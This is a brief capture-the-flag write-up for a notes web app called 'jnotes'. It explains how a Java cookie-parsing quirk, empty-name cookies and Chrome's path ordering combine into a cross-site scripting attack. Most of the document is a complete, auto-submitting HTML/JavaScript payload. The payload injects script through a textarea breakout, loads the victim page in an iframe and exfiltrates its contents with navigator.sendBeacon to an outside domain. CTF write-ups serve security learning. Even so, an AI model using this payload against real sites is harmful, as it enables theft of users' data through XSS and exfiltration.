Rating: 5.0
# tl;dr
* Java mishandles the cookies such that when there is a cookie with a `"`, it will take all the cookies until there is a `"` as that cookie's value
* We can set empty cookies using javascript `document.cookie="=value";`
* Use that to set a new `note` cookie by adding `note` in the value `document.cookie='=note="';`
* Make our cookie first by giving path as `//` as chrome sends cookies with longer paths first
* Now create an iframe with `//` as src and read its innerHTML
## Final Payload
```html
<html>
<body>
<form method="POST" action="https://jnotes.mc.ax/create">
<input id="p" name="note" value="" >
</form>
<script>
document.querySelector("#p").value = `</textarea>
<\x73cript>
document.cookie='=note=";path=//';
const frame = document.createElement('iframe');
frame.src = "https://jnotes.mc.ax//";
document.body.appendChild(frame);
frame.onload = () => {
navigator.sendBeacon("https://your.domain.com",frame.contentWindow.document.body.innerHTML);
}
</\x73cript>`;
document.forms[0].submit();
</script>
</body>
</html>
```
